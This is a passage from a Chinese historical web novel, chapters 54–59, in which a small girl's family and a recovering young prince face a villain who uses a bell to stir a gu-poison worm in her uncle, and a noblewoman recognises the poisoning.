一天到晚跟在小崽子身边,像什么样子。
小厮看到他的动作,抿了抿唇。
将军也真是的!
之前小姐粘着他时,还凶小姐,还赶人,现在好了,小姐身边这么多人围着,将军想对小姐好,已经插不上手了。
乖宝望着顾应决,气喘吁吁道:“爹,乖宝的风筝让风吹走了。”
“你能不能叫人帮乖宝找一下。”她站在顾应决面前,捏着小手,认真开口道。
顾应决抿了抿唇,正要开口说些什么。
“乖宝!”元槿的声音从不远处传来。
乖宝侧头往声音的来源看去,只见元槿带着人,满脸笑意的快步走过来。
“小槿你来啦。”乖宝望着他热情地开口道。
“你们怎么了?”元槿见她一脸愁容,开口问道。
乖宝说话的声音有些着急,语速很快:“我们的风筝被风吹掉了,那可是四叔给乖宝亲手做的风筝,乖宝一定要找到的。”
“爹……”她热忱的目光又看向顾应决。
顾应决勾唇,抬了抬手,冲边上的小厮开口道:
“你去……”
“槿儿。”
一道熟悉的男人声音,彻底打断了顾应决要说的话。
顾应决眉宇一蹙,眼中闪过一丝几不可查的不悦,寻着声音只见景王跟景王妃站在石拱门的位置。
“父王母妃。”元槿有些激动,快步走了过去。
景王夫妻见元槿小脸发红,呼吸有些急促,吓得脸色都变了。
景王心提到了嗓子眼,生怕儿子有个好歹。
“槿儿,别跑,慢些走。”景王妃率先开口道。
快步想要制止他的行为,然而元槿已经站在她们跟前了。
第五十四章 他又好了
元槿额上沁出些许细密的汗水,滑落至脸颊,喘息道:“父王,母妃你们怎么来啦。”
他扑进了景王跟景王妃二人的怀里,仰头望着他们。
槿儿何曾能够今后这么跑。
从小到大,他们的孩子就一直谨慎小心的待在王府里,吃什么东西那都是小心翼翼,生怕孩子难受。
景王妃还以为自己是在做梦呢,伸手摸了摸元槿的小脸。
他那厚重的呼吸声,完全不似之前那般气若游丝。
“王爷,这真的是咱们的槿儿吗?”
“是真的,咱们的槿儿现在好了很多。”景王心中泛起一阵复杂的情绪,情绪万分。
景王妃眼角泛红,眼中满是惊讶和欣喜,这才不过三四天而已,他们的孩子已经有着惊人变化。
还以为再也见不到,孩子活蹦乱跳,玩儿的样子了,没想到这一天会来的如此之快。
元槿脸色已经不似刚来时那般惨白毫无血色,甚至小白脸上带着一丝红润。
“娘怎么啦?”
景王妃俯下身抱住他的小身板,不知是不是错觉,她竟然感觉儿子比在王府重了一些。
她来时有千言万语要跟儿子说,想问问儿子在将军府过得好不好,可看到儿子的变化后,一句话也问不出来了。
“乖宝,快过来。”元槿扬起唇,大声冲着不远处的乖宝道。
“来了。”乖宝拍了拍四叔的肩膀,顾寒舟俯下身抱起乖宝,快速地跑到了景王面前。
乖宝被顾寒舟放下,仰头望着景王舔了舔唇瓣,蹙眉问道:
“景王叔叔,你能不能帮我们找一下风筝。”
她知道元槿的爹,在这儿身份很厉害,甚至比她爹还厉害。
找小槿的爹肯定能做到!
景王将暗中候着的暗卫召了出来,开口道:“去把风筝找回来。”
暗卫撇了撇嘴,要是放在昨天,他压根不会想到自己今天会被派来做这样的事情。
动作极快,一个闪身便飞踏上了屋檐,消失在了他们的面前。
“哇!好厉害,嗖的一下就不见了。”
“难道这就是传说中的武功?”乖宝仰头手放眉头上用来遮盖,刺眼的阳光。
“嗯嗯,要是以后槿儿的身体好了,也要练功。”元槿在边上点头,满脸自豪的开口道。
“好耶,那你快点好,乖宝也要跟你一起练武功。”乖宝放下小手,手握成了拳头,满脸认真地开口。
嘿嘿。
要是乖宝也会武功就可以保护,祖母还有爹跟大伯他们了。
“王爷,王妃。”顾应决被下人推了过来,向景王夫妇二人抱拳行礼。
“将军不必多礼。”景王抬了抬手。
这话刚落下,暗卫又一个闪现,将乖宝的风筝递了过来。
景王接过,俯下身来亲自把风筝交给了乖宝,乖宝咧嘴笑了笑,“嘿嘿,走小槿,我们去玩吧。”
“好的,我来了。”元槿说着她跟在乖宝的身后,开口道。
景王夫妻跟顾应决看着两个孩子往花丛那边走,每个人眉头微展,脸上含着淡淡的笑意。
“多谢,看到元槿能下床,还这么活泼,对我们来说已经是天大的恩赐。”景王妃发自内心由衷的感激道。
“我们没帮忙,这一切都是乖宝的功劳。”顾应决抿唇就开口道。
“自然,今日过来,我们还为将军府的小小姐备了些礼物来,已经派人送到前厅了。”景王开口道。
顾应决并未说什么。
景王知道顾应决最想听的是什么,开口道:“今日上朝,永昌伯府提出,让英武侯府,暂时接管你的兵权,陛下没有同意。”
“你若信的过本王,本王可以给你举荐一个人。”
顾应决抬眸看了他一眼,沉默了一瞬,这才开口道:“谁?”
“赵徐进。”景王开口。
顾应决认识这人,乃新任职的威远将军,曾经驻守边疆,后被召回任职禁军副统领陛下亲兵。
景王:“你可以考虑一二。”
景王妃听不明白他们这些官场的事情,早就在凉亭那边,盯着几个孩子玩。
元槿还不能跑太快,只能跟在乖宝和顾寒舟身边看着她们玩,乖宝看他眼巴巴盯着,扯了扯顾寒舟的手臂。
“四叔,让元槿也玩玩吧。”
顾寒舟对上元槿那双带着热烈渴望和询
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问的目光,“你是乖宝的朋友,可以。”
他伸手把元槿举了起来,元槿捏着手里的风筝线,高高扬着手臂,小脸笑的酡红,“乖宝你看飞起来啦。”
真好玩,这还是他第一次站这么高,也是他第一次放风筝!
他垂头望着地上的乖宝,嘴角高扬。
元槿玩够了,被顾寒舟放了下来。
他走到乖宝身前,开口道:“我有个东西给你,你伸手。”
乖宝顺着他的话,手递了上去。
只见元槿从自己手腕上,取下一串佛珠,塞进了乖宝的手里。
“这是我娘从寺庙求来的,就送给了乖宝了,这是我最重要的东西。”他为了表示自己的心诚,特意强调道。
“那不行,我不能要。”乖宝取下佛珠又塞回到他手里。
“为什么?”元槿有些伤心的问。
“因为不可以拿别人最重要的东西。”乖宝回应。
元槿松了一口气,这样啊,还以为乖宝嫌弃他的东西呢。
“现在不是了,现在乖宝是元槿最重要的朋友,有乖宝在,就不需要它了。”
“嘿嘿,那好吧,那乖宝替你保管。”乖宝伸手接过,戴在了自己手上,她手上还带着顾应柏送的琉璃珠串。
“谢谢,你哦。”
“不用客气。”
景王妃在边上看着她们推搡有礼的动作,只觉得可爱又有趣,忍不住咧嘴笑了笑,开口道:“乖宝,槿儿过来歇会儿……”
永昌伯府,后院。
一个身穿水蓝色衣衫女子被下人请进了屋子里。
房门落上,椅子上坐着的男人抬眸,冷瞥了她一眼。
女子望着他嘴角带笑,手轻轻一扯,腰间的细带落在地上面。
衣衫退的只剩下一件粉色金丝肚兜悬挂在脖子上,和一件白色轻薄到几乎能看到丰盈翘臀的亵裤。
她每走一步,起伏的肚兜颤了颤,女人上前勾了勾他的脖子,顺势坐在男人腿上。
女人润红,灼热的唇瓣,几乎贴近时。
林玄泽扣住了她的下巴,语气阴冷强势:
“你不是说顾寒舟永远都不会好吗?如今他怎么突然不疯了。”
第五十五章 顾应决嘴硬:“出来晒太阳,不是来看你。”
“大……大人,您弄的奴家好疼。”女子握住林玄泽的手,眉目微皱,娇嗔道。
声音温婉,又有些楚楚可怜。
林玄泽盯了她一眼,心里有些不忍,松开了手。
女人垂头靠在林玄泽怀中,软若无骨的手滑在他凸起的喉结上,吐着息道:
“大人,妾身不知道,这里面到底发生了什么。”
“不过,奴家可以确定顾寒舟这辈子都不可能好,现在也只是暂时被压制住了,不过没关系奴家有的是办法继续让他疯下去。”
林玄泽摸了摸她的小脸,嘴角勾起了一抹淡淡的笑意,也收起了方才露出来的阴鸷笑容,开口问道:“你有什么办法?还不快说。”
“只要大人,帮帮奴家,奴家就告诉你。”女人鲜红的指甲,轻轻搓着林玄泽的唇瓣,整个人往后一仰,握住林玄泽的大手放在自己的大腿上,嘴角勾着一丝意味不明的笑意。
林玄泽神色深了几分,呼吸也不由的沉重几分,单手搂住了她的细腰,另外一只手抚上了她的肌肤,说话的声音有些沙哑:“好……”
逐渐入夏,天气也越来越热,不知不觉之间元槿已经来将军府十几天了。
乖宝热的把衣袖撩起来,露出一节一节藕断般的白嫩手臂,坐在屋檐下的台阶上面,无聊的数着天上的云彩,嘴里还叼吊着一根狗尾巴草。
边上的顾寒舟跟她一模一样的姿势。
元槿见他们这样,也跟着有样学样。
一辆木轮椅停在石拱门前,顾应决蹙眉,远远望着他们:
“自从跟寒舟待在一起,哪像个样。”
“真是越来越不像话了。”
哪里有一点将军府小姐的样子。
边上的小厮撸撸嘴,少将军年纪轻轻这想法怎么越来越古板了,小姐这样多好,天真无邪。
不过小姐也好几天没去将军院子了,也不懂将军整日在屋子里做什么,明明想出来去花园看小姐还非说在屋檐下坐会儿好,眼睛却还老往门口看。
乖宝看着顾应决,赶紧起身,小跑到他跟前,“爹,你怎么来了?是来看乖宝吗。”
顾应决侧头没看她,脸略有些泛红道:“没有,出来晒晒太阳。”
“嗷~~”乖宝点了点头。
“乖宝,要不我们出去玩吧,然后去一趟王府,我们王府有个特别会做冰碗的厨子。”元槿走过来,拉住了乖宝的小手,开口道。
他记得自己去年,想吃冰的,父王不让,最后为了哄他父王才特意招了个会做冰碗的厨子过来,跟他说等病好了再吃,现在他终于好了很多,总算可以吃了。
就算不舒服也可以喝乖宝给的神水。
“好耶,那我们出去!”
将军府都被乖宝走遍了,现在已经没什么地方让她觉得新奇好玩了,就想去其他地方转一转。
“爹,可以嘛。”乖宝抬眸一双大眼睛盯着顾应决,托着腮恳求道。
她说话的语气,仿佛顾应决的回答非常的重要。
顾应决沉默地盯了她一眼,心间莫名一颤,歪头捂着嘴轻咳了一声。
小孩都爱玩爱往外跑,也不该总将人禁锢在府里,多出去走走也能长见识。
他抬手又唤了几名下人过来。
“莲心,你们几个务必要看好他们。”
莲心跟几个下人纷纷道:“奴才遵命。”
“嘿嘿,谢谢爹,我爹最好啦!”乖宝扑过去搂住了顾应决的大腿,喜笑颜开道。
顾应决嘴角不自觉微勾,又立刻严肃起来:“去吧。”
“记着想买什么买什么,我们将军府不差钱。”
“知道啦。”
“奥耶!太好了终于可以出去玩啦,乖宝已经好久没有出去过了。”
乖宝小手握成拳头,一边走一边跳起来,手腕上的佛珠晃了晃,她的小身板又摇摇摆摆,蹦蹦跳跳,迈着小短腿快步往前跑。
从那天跟大伯出去,还有去宫里,她就没有出过门了,此刻乖宝只想赶紧出去,她就跟在家关久了的小狗崽,飞扑的往外跑。
元槿见她跑的急,也赶忙跟了过去。
之前去宫里都是父王带着他出门的,而这次还是他第一次自己出门,而且还是跟着乖宝,他觉得这种感觉特别好,心情也无比的舒畅。
顾寒舟又立马跟上了他们。
在后头望着他们顾应决眼里染着自己都不曾察觉的笑意,又冲身边人道:“去王府通报一声。”
小厮点头,示
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意一眼身侧候着的下人。
顾应决脑子里,浮现出乖宝手上带着的佛珠。
他又抿了抿唇,开口道:“你去给本将军找一块上好的玉石来。”
外人都给小崽子送东西,自家人自然也不能少给,免得日后随随便便就被外面的野小子给哄去了。
可别跟她娘一样,跟了个不负责任的野男人,连孩子都不管。
顾应决想想又觉得来气,既然成了他将军府的女儿,那种事就上决不能发生在小崽子身上。
除非人中龙凤,否则谁都别想打乖宝……小崽子的主意。
小厮不知道顾应决这又是要做什么,只按照他的意思照做。
乖宝几人出了将军府后,坐马车到闹市。
乖宝被街边的糖葫芦吸引,拉着顾寒舟跟元槿下了马车,快步往那走。
“老爷爷,我们要三串糖葫芦!”乖宝伸出一只小手,比了三根手指头。
“我一串小木槿一串,四叔一串。”
“好勒。”手里抱着糖葫芦杆子的老头,从上面取下三串糖葫芦递给乖宝。
“谢谢。”乖宝咬了一小口,又把另外两串串糖葫芦分给了四叔和元槿。
在他们身后跟着的莲心,立马从衣袖里掏出了几个铜板递给了摊贩。
街道上的人不少,来来往往,熙熙攘攘。
就在他们头顶上方的位置,一家酒楼的窗户边上,有一身穿锦衣的男人往窗外看了一眼。
男子盯着顾寒舟那张脸,眸光微沉,“大人,那不是顾家老四吗?”
林玄泽侧头,看了一眼楼下,目光扫了一眼乖宝,最终落在笑着吃糖葫芦的顾寒舟身上。
“还真是。”他猛地放下手中的茶杯,这张碍事的脸还真叫人扫兴。
“怎么说之前也是友人,我记着他还跟大人同过台来着,见了人也得打个招呼不是。”对面的仰头将杯子里面的茶水喝尽,开口笑了笑。
林玄泽眸光,滑过一丝冷意。
他能跟顾寒舟同过什么台,这厮不就是在嘲讽他之前败在顾寒舟手里。
要不是这厮有个巡城司司长的爹,都懒得跟他周旋。
不过正好,他下去会会顾寒舟,看看到底是不是真如晚娘所说。
第五十六章 这么一想,这个碍眼的丫头还是**好!
此时酒楼下。
顾寒舟站在一个卖油茶饼的铺子面前,捏着一小块油饼递到乖宝面前。
“乖宝,这个也好吃。”
乖宝小嘴上全是糖渍,又一口吃掉他递过来的茶饼。
茶饼酥酥脆脆,乖宝咀嚼着开口道:“好吃!”
“小槿,你也尝一尝。”乖宝掰了一小块给他。
元槿盯着那不成样的碎茶饼,一点也没嫌弃,觉得那个糖葫芦,酸酸甜甜好吃,乖宝说这个茶饼好吃,那肯定也好吃。
他接过直接全放嘴里,咀嚼了几下,酥酥脆脆还有一股子淡淡的茶叶的味道。
“好吃!”
“那我们再多买一点!”乖宝就举起手跟个大人一样,踮起脚尖跟前的卖吃食的摊主道。
“小姐,这个豆干也好吃,您要不要尝尝。”边上的小贩笑着道。
这孩子真有趣明明比边上的两人都小那么多,却像是二人的大家长一样。
所有事全由她一个人做主,只有她同意了,其他二人才能买。
“好呀好呀。”乖宝走了过去。
小贩摊位前做的是咸香豆腐,一串一串的豆腐弄成大片状,用一根竹签穿插。
乖宝咬了一小口,“有点咸。”
“给四叔吃。”顾寒舟张了张嘴。
乖宝的小手递了过去,顾寒舟一口气将那一串豆腐全都吸入了嘴里,咀嚼了几下,吞咽下去。
元槿有些羡慕地看着顾寒舟,他也想跟乖宝有这样好的关系,要是乖宝也是他亲妹妹就好了,他就可以一直都住在将军府了。
或者乖宝生在他们王府就好了,他就可以天天陪着乖宝一起玩了。
“顾寒舟?”一名男人迈着步子走了过来,伸手搭在了顾寒舟的肩膀上。
顾寒舟僵硬地侧头盯了他一眼,那双眼睛带着寒意,甚至不带一丝情绪。
男人对上他的目光,仿佛看到了曾经的顾寒舟,忍不住打了个寒颤,一时间心头一紧,“顾寒舟,你好了?”
顾寒舟病好了?
他永远都忘不了,顾寒舟在台上揍林玄泽的狠劲,也忘不了当初被顾寒舟揍了一顿后在床榻上躺了一个月的痛苦。
顾寒舟挥开了他的手,走到了乖宝的跟前,“我,不认识你。”
男人对上顾寒舟那冷漠的目光,以及在听到他说话的语气后,勾了勾唇,心里那丝紧绷的情绪瞬间消散。
“玄泽,人是不疯了,但是他好像傻了。”男人朝着不远处走过来林玄泽,取笑般大声道。
林玄泽走了过来,看了一眼警惕的顾寒舟,嘴角勾起了一抹肆虐的笑:“还真成傻子了。”
“你,坏人,乖宝他……他是坏人。”顾寒舟眼中带着恐惧,脑子里全都是林玄泽用鞭子抽打他时的场景。
林玄泽藏在衣袖中的手,从腰间掏出一个小铃铛,暗藏在衣袖内,每往顾寒舟跟前走一步。
“叮叮当当!”那铃铛的声音脆响。
顾寒舟心跳不受控制的加快,浑身上下仿佛有无数只虫子在爬,痛到他想抓狂,那虫子仿佛有同一个方向,全都往他脑子的位置缓缓爬行,顾寒舟疼得头皮发麻,眼睛猩红,栽倒在地上,双手抱着头,嘶吼的嚎叫。
“他这是怎么了?”边上的人见状,诧异的问道。
“顾寒舟,你这是……”林玄泽装摸做样的想要去扶他,人还没有靠近就对上了顾寒舟凶狠暴躁的目光。
他嘴角勾起了一丝笑意,看来晚娘没有骗他,这顾寒舟的疯症并没有完全的好。
林玄泽上前手按向了顾寒舟的肩膀。
“不许碰我四叔,你这个大坏蛋!”乖宝小肉手用力拍开了林玄泽的手,小奶音怒吼道。
元槿有模有样的学着乖宝,站在她身后。
“林公子,我家四公子有些不适,还请您离远些。”莲心带着人,拦在了孩子们面前。
林玄泽蹙眉,余光扫了一眼地上顾寒舟,看来方才的力度还不够,根本不能让顾寒舟彻底的发疯。
他往后退了几步,衣袖里的铃铛继续晃动,“你家公子这个样子,不会是疯病又犯了吧?”
“我四叔才没有什么疯呢,你个坏人!”乖宝生气的瞪着他开口道。
“叮叮叮……”林玄泽晃着手里的铃铛,目光灼**盯着地上的顾寒舟。
“啊啊啊!”顾寒舟半跪在地上,嘴里发出,极具痛苦的哀嚎声。
林玄泽嘴角勾起肆虐的笑意,轻哼了一声。
乖宝回头看到四叔,额头上的青筋暴起,脸涨红就像
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要**了一样,眼睛布满了红色的血丝,痛苦的半跪在地上。
“四叔!”
“你最好别过去,你要是被他弄伤了,顾应决还不得后悔死。”林玄泽嘴角带着笑,嘴上这么说心里觉得弄**最好。
顾应决要是知道自己的亲弟弟,害**自己唯一的孩子,怕是这辈子都不得释怀。
顾寒舟的处境,那就更不用说了,害死自己亲侄女的畜生,将军还能容下他?
就算能。
他还听说宫里太后挺喜欢这丫头,太后知道了能不责罚顾寒舟吗?
京城百姓们的口舌能饶恕他吗?
顾寒舟必不得善终。
这么一想,这个碍眼的丫头还是**好!
林玄泽盯着乖宝,眼中闪过一抹阴毒。
乖宝没有搭理他,对着他气鼓鼓地翻了个白眼,她知道这个叔叔就是个大坏蛋,根本就不希望她的四叔能好。
“四叔喝水。”她从自己的腰间取下水袋,递到顾寒舟嘴边。
顾寒舟猩红的眼睛,盯着乖宝,眼睛中含着泪水,脑袋蹭了着乖宝的手,握着她的手盖在自己的额头上。
他就像是一只受伤的怪兽,委屈巴巴望着自己的主人,跟主人撒娇,并用自己的行为告诉主人现在他真的很难受。
“乖,不疼了,喝点水水就好啦,四叔听话哦。”乖宝蹲在他面前,轻轻摸着他的脑袋,语气稚嫩又轻柔地开口道。
顾寒舟接过水袋,仰头喝了一大口,内心那烦躁之意逐渐褪去,浑身的疼也慢慢消减。
“乖……乖宝。”顾寒舟眼神逐渐清明,含着泪上前将乖宝抱在了自己怀里。
“好疼。”
“嗯嗯,四叔不疼啦。”乖宝拍着他的背,嚷嚷道。
林玄泽瞥了一眼顾寒舟那副傻样,眉头微蹙。
他捏着手中的铃铛又晃悠了一阵,目光仔细盯着顾寒舟那边的状况,看到顾寒舟垂下头,脸色苍白,仿佛在忍耐着什么。
看样子,这个疯子一直都是在硬撑着。
手里的铃铛越摇越起劲,他甚至还走到了顾寒舟的跟前,却被将军府的下人给拦住了。
在铃铛激烈的响声中。
“噗!”顾寒舟脸色发紫,猛地嘴里吐出了一口鲜血。
第五十七章 吵**,叔叔,你能不能不要摇你的铃铛了!
顾寒舟吐完血,两眼一闭,晕死在地上。
“四叔!”
“寒舟哥哥?”就在众人神经紧绷之时,一道宛如黄鹂一般悦耳的声音响起。
所有人朝着声音的来源看了过去,只见一名身穿淡青色衣裳的女子,快步走了过来。
女子长相清醒淡雅,面姣好,行为举止都十分得体。
“姐姐,你认识我四叔?”乖宝疑惑地看着身前的女子。
女子点了点头,她伸手按在了顾寒舟的手腕上,眉头微蹙,目光看向地面上黑红色的血。
只见那血中隐隐有什么东西在缓缓挪动,就跟那蛆虫一样,在血里面拱来拱去。
“我的老天爷!这是虫子,好多虫子!”
“呕!”边上的人见状,面色大惊,有些人甚至恶心的直接吐了。
“这到底怎么回事,顾四公子怎么会吐这么多虫子。”
林玄泽目光一沉,慢悠悠走上前:“昭儿?”
“林公子,你我并不熟,叫我裴昭就行。”女子看都没看他一眼,冷声开口道。
“那怎么行,你英武侯嫡女,我怎么能随意称呼你的名字。”林玄泽望着她时,嘴角不自觉地勾着一抹笑意,说话的声音都比方才温和了不少。
裴昭没再搭理他,而是从衣袖中拿出一个银针袋子,从里面抽出了一根银针,扎在了顾寒舟的头上。
林玄泽目光紧紧盯着她,那双欣赏中透着贪婪的眼睛,仿佛要贴在裴昭的身上。
“姐姐,我四叔这是怎么了?”乖宝担心地望着闭上眼睛,昏迷的顾寒舟。
“他应该是中了一种蛊毒,方才吐出来的应该就是那在他身体作祟的毒虫。”
裴昭眼里有些复杂,难道顾寒舟的疯症跟这蛊虫有关?
林玄泽听到她说的话,神色变了变,藏在衣袖里的铃铛紧了紧。
牵动之下,铃铛又发出了一些声音。
“吵**,叔叔,你能不能不要摇你的铃铛了!”
“你这么大只人了,还玩什么铃铛,吵得我四叔都吐血了。”
乖宝回头埋怨地看着林玄泽,双手叉腰气鼓鼓地冷声开口道。
这话一出,身边的百姓立刻开口道:“是呀,摇什么破铃铛,净添乱。”
“就是,吵得耳根子都不清净,人家小孩都不玩的东西,他一个大人真是好意思。”
面对众人的谴责,林玄泽脸气成了猪肝色。
他不顾边上百姓们的言说,猛烈地晃动着手里的铃铛。
铃铛发出激烈地响声。
边上的乖宝气得直接冲过去,扯了他手里的铃铛,铃铛掉在地上发出一阵激烈的响动。
又是这个多事的小孩!
“你!”林玄泽一怒之下,下意识就抬起了手,掌心积蓄着内力,往乖宝头顶拍去。
一道身影以迅雷不及掩耳之势,闪了过来,将乖宝抱在了怀里,跟林玄泽打了个对掌。
“砰!”的一声巨响。
林玄泽直接被劲力弹开,连退了好几步,手臂一阵剧烈刺痛,掌心没了知觉,他下意识地扶住了下垂的手臂,用力一拉只听骨头一阵脆响。
林玄泽活动了下手臂,抬眸对上来者那双阴冷地目光,吓得连忙跪在地上:“景王殿下。”
“你好大的胆子!”
“当街也敢对孩子动手,你这巡城司都尉到底怎么当的?来人把林玄泽给本王拉下去,按巡城司的规矩,重责五十大板。”景王冷瞥了他一眼,言语中带着狠厉。
林玄泽脸色发青,扶着手臂,抬眸扫了一眼景王怀里的乖宝,景王不是跟将军府关系不好吗?
为何景王还会对将军府的小孩,如此的重视。
“下官,知错,方才是下官无意为之,小姐突然扑到下官面前,下官下意识的行为。”
林玄泽开口道。
“好一个无意为之。”景王冷“哼”一声。
林玄泽那一巴掌用了十足的内劲,要是真落在乖宝头上,那她必死无疑。
“还请小姐能原谅下官。”林玄泽知道自己那小心思都让景王给看破了,根本就不敢看景王的眼睛,垂头道。
乖宝小额脸上满头大汗,抱着手臂,歪头根本不搭理他。
“景王叔叔你怎么来了?”乖宝仰头望着景王开口问道。
“将军府的下人去王府通
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报,说今日你们要过来,王妃迟迟见你们没到,急得让本王过来瞧瞧。”景王想到这件事,心中一阵后怕,要是他没过来,小家伙就惨了。
他冷冷剐了林玄泽一眼,“还不快把他拉下去!”
边上的护卫立刻上前,将林玄泽按住,托着他往巡城那边去。
林玄泽余光扫了一眼,四周的百姓却没看到方才跟自己一块来的那男人。
他气的拢紧了拳头,这个孬种自己跑了!
“裴小姐,顾寒舟这是中了巫蛊之术?”景王见多识广,在看到地上那摊血迹后,也不忍滚动着喉结,心里一阵作呕。
裴昭点了点头:“这种蛊毒产自南疆,中原无人能解,我也只是偶然间在医书上看到过。”
乖宝拿出手帕给顾寒舟擦了擦唇瓣,而后又拿出水袋给顾寒舟喝,给顾寒舟灌水。。
四叔吐了这么多血,肯定难受极了,多喝点水,多喝水才能好。
乖宝不知道姐姐说的到底是什么,但她听明白了,四叔身上有虫子。
得多喝水,虫子才能像刚才一样吐出来。
“四公子这病症有些奇怪,按理如果中了蛊毒,除非解蛊,否则一辈子都不会好,但四公子身上的蛊毒未解,却能自行吐出体外。”裴昭道。
就仿佛有某种特质的药,或者某种特别的东西,在蛊毒发作时,迫使蛊虫被逼得走投无路急于从顾寒舟身体出来。
“小女医术浅薄,也不懂是何种蛊毒,不过好在四公子的疯症没有复发。”
她这些医术,还是为了常年生病的母亲才学的,也没多精通。
景王没说话,而是看向了乖宝,心知肚明,顾寒舟身上的蛊毒被逼出来,肯定跟乖宝有不可分割的关系。
“本王知道了,你们回去将此事一五一十告知将军府。”
他冲边上的莲心开口道。
莲心俯下身行了一礼。
“咳咳咳……”顾寒舟轻咳了一声,又呛出了一口血。
“四叔。”乖宝吓得连忙上前搂住了他的手臂。
“我没事乖宝。”顾寒舟摇摇头,说话的声音有些沉闷,听上去很正常。
第五十八章 她怎么感觉四叔好像变聪明了一点,说话都快
众人一滞。
裴昭抬眸,欣喜道:“寒舟哥哥。”
顾寒舟抬眸疑惑地望着她,“你……你是谁?我认识你吗。”
裴昭压下心中的期许,苦涩地笑了笑,摇了摇头,“不认识吧。”
三年过去了,寒舟哥哥已经完全不记得她了。
不过也没事,他现在至少不疯了,痴傻一点也没关系,只要人能好好活着就行。
景王瞥了她跟顾寒舟一眼,看样子这裴小姐跟顾寒舟之间有些渊源。
“父王,我们想回府吃厨子做的冰碗。”
景王世子拽了拽景王的衣袖。
“将顾四公子送回将军府。”景王吩咐身边的下人道。
“不用,我要跟乖宝在一起。”顾寒舟一下从地上爬起来,拍了拍身上的灰尘。
“四叔,你现在还感觉不舒服吗?”乖宝低声问他。
她怎么感觉四叔好像变聪明了一点,说话都快了。
乖宝是顾寒舟变傻后,相处最多的人,也是最先感觉到他变化的人。
“没有。”
顾寒舟从地上抱起了乖宝。
“姐姐,我们要走啦,今天谢谢你哦,四叔你快谢谢裴姐姐,她帮了你哦。”乖宝赶紧扯了扯顾寒舟的衣袖,开口道。
顾寒舟又看了一眼裴昭,笑着道:“谢谢,你帮我。”
“顾四公子客气了。”裴昭闻言眸光一顿,嘴角露出一抹笑意。
顾寒舟望着她那恬静,好看的笑容,神色有了片刻的怔愣,胸口的位置有些发闷。
“四叔,我们走啦。”
“姐姐,我们还有事先走啦。”乖宝想了想从衣袖里拿出一个东西,塞到裴昭手心里,“这个是我四叔给做的,送给姐姐,谢谢你帮忙。”
“再见哦。”
裴昭摸了摸手里的竹编蚂蚱,又紧紧按在胸口的位置,眼里染上了热泪,没想到还能再收到这个。
以前在裴府时,她每次心情不好,顾寒舟就会自己编些东西哄她。
三年了她以为自己早就释怀了,可顾寒舟出现的那一刻,她的心依旧会像过去一样,因他让而悸动。
“裴小姐,王爷说让我等送您回府。”边上的侍从开口道。
裴昭点了点头,往前走了几步,脚底踩到了一个硬物,挪开鞋,一枚带着红绳的铃铛出现在青石地板上。
脑海中回想起,方才林玄泽身上传来的铃铛声,总觉得有些不对劲。
她俯下身,从衣袖中拿出了一个手帕,合着手帕将那铃铛捡了起来,包裹在手帕中仔细端详了一眼,却没有发现什么异常。
便随手叠好,塞进了荷包中。
景王府内。
“来了没?”景王妃坐在大厅的椅子上,伸着脖子,时不时往外面看,见丫鬟进来,忙不迭的开口道。
丫鬟摇了摇头。
她又从椅子上起身,这已经十天过去了,也不知孩子怎么了。
急得实在僵持不下去,她从椅子上起身,踱步往外面走。
这才刚走没多远,就撞见一人从侧门进来,她还以为是元槿,仰着笑意看过去,嘴角微滞住。
陆荆淮对上景王妃那张带着笑意的脸,眼中闪过一丝诧异,俯下身殷勤道:“王妃。”
景王妃一心只有儿子,看都没看他,开口道:
“起来吧,王爷出去了,你先去书房外等候。”
“是。”陆淮荆起身,往后院那边走,正要绕进院子里。
他隐隐听到了一抹清脆的声音,感觉有些熟悉。
“嘿嘿!王妃娘娘,我们来啦。”
“陆大人请吧。”边上的人引着他往前走,见他突然停住,有些不耐烦地催促道。
陆淮荆点了点头,又迈着步子跟了上去。
他刚进去多久,乖宝三人出现在王府内。
“娘亲!”元槿迈着步子,走到景王妃跟前。
“槿儿,脸好像圆了一些。”景王妃俯下身,抚摸着儿子的小脸,满脸惊喜道。
“这段时间没见,还真是长胖了一些。”景王抿了抿唇,盯了儿子一眼,开口道。
“那是因为将军府的饭菜好吃。”元槿笑着道。
“嗯嗯,我家的饭好吃,元槿现在都能吃两大碗呢。”乖宝肉手比了一个二,咧嘴笑出声,小脖子
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缩了缩。
“嘿嘿。”
“娘,我们今天回府是想吃冰碗。”元槿开口道。
“父王不是说了,只要儿子好了就让儿子喝吗?儿子现在就要吃。”
景王妃摸了摸他的小脸,眼里心里全都是儿子,哄着他道:“好,你们等一会儿,母妃这就让人去做好不好。”
元槿点了点头:“嗯嗯呃。”
“乖宝,我屋子里面,也有可多宝贝了,你要是喜欢就全拿走。”
元槿一边向乖宝比划,一边道。
在他看来乖宝给了自己很多东西,他也要给乖宝很多东西才行。
乖宝可是他的小神仙,小神仙想要什么都可以。
“去吧。”景王看了一眼儿子那不值钱的样子,开口道。
元槿拉住了乖宝的手,往前走,顾寒舟跟在二人身后。
“王爷……”边上的说话的声音带着一丝哽咽。
景王一回,手顿了一下,只见王府的管家泪水,糊了整张脸,哭得涕泗横流。
“你这又是作何。”景王有些嫌弃地瞥了他一眼,挪动着唇道。
“奴才是感动,王府从没这般鲜活过,自从世子出生,便一直阴沉沉,如今看到世子,活蹦乱跳的样子,奴才真是太高兴了。”
王府管家是从小跟在景王身边的太监,自从景王开府后,他便一直帮着管理王府的诸事。
他看着王爷王妃成亲,又看着王妃生下世子,又看着王爷四处求医,还有世子一次又一次病重。
这些他全都看在眼里,王府看着光鲜亮丽,却有着常人难以理解的痛处。
“好了,这些事都过去了,日后莫要再说。”景王摆了摆手。
“奴才明白。”
“去看着孩子吧。”景王开口道。
“方才那位小姐就是救世子的恩人吗?”管家想到乖宝那张软糯的小脸,压低了声音开口问道。
他是景王的心腹,对王爷王妃还有小世子忠心耿耿,王府几乎没有什么事能瞒过他。
景王也没瞒着,点了点头。
“奴才知道了,一定好好招待小姐。”管家立刻道。
第五十九章 血肉里钻了虫子
“乖宝你尝尝,这个樱桃是皇宫送过来的。”元槿端着一碟鲜红色的樱桃,走到乖宝身边,将樱桃碟子递过去。
“嗯嗯。”乖宝伸出小肉手捏了一小颗,塞进嘴里咀嚼了几下,清甜的樱桃香味从嘴里迸发出来,她洁白的牙很快被染成了鲜红色。
“世子,冰碗来了,这冰碗凉您少吃一些。”管家端着个托盘,热切地走到他们身侧,将托盘放在了罗汉桌上。
“小姐,四公子你们尝尝。”
乖宝蚕蛹宝宝一样的小手,端起了一碗,里面有碎冰,上面不仅放了桂圆,莲子,葡萄干,还有一些花生碎,以及一些水果,樱桃,葡萄,还有荔枝,以及切成块的蜜瓜,西瓜等。
